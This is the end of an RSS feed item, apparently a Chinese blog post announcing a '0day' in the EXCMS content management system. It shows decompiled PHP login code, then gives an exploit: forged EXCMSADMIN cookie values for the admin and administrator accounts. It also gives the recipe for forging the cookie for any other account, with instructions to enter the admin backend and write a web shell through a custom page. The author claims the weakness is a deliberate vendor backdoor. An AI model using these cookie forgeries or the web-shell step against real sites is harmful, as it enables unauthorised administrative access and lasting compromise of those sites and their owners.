&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$pwdForever = strtoupper( md5( $adminname.&quot; love EXCMS forever&quot; ) );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;setcookie( &quot;EXCMSADMIN&quot;, $adminname.&quot;&amp;&quot;.$pwdForever, time( ) + 2592000 );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else if ( $param['loginType'] != 2 &amp;&amp; $param['rememberMe'] == 1 )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;setcookie( &quot;EXCMSADMIN&quot;, $adminname, time( ) + 2592000 );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$login_fail = false;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$excms_action['loadtpl'] = false;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$error = getlangbyname( $loginMsg['message'] );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />}<br />if ( !$login_fail )<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( empty( $forward ) || strpos( $forward, &quot;index.php?M=Auth&quot; ) )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;header( &quot;Location:index.php&quot;, true );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exit( );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;header( &quot;Location:&quot;.$forward, true );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exit( );<br />}<br />$errorCls = &quot;f&quot;;<br />if ( $excms_action['loadtpl'] )<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( !$error )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$error = getlangbyname( &quot;LOGIN_FAILED&quot; );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;require( MODULES_PATH.&quot;Auth/Index.php&quot; );<br />}<br />?&gt;</div></div>//分析完毕  

最后给出EXP
EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1; 
EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;
第1个是admin
第2个是administrator 一般 就这2个 其他账号的话请自行结构
结构方法 setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) );
然后 strtoupper一次  就是把字母都变大写

修改COOKIES 直接进入后台 然后自定义页面 写入网马


后语 这个COOKIES“漏洞”并非是记住管理登录状态
记住管理登录的COOKIES是 SESSION ID 验证这个

所以这个漏洞100%是作者留下的后门！]]></description>
		<link>http://www.misssky.cn/technical-articles/excms-0day/</link>
			</item>
</channel>
</rss>

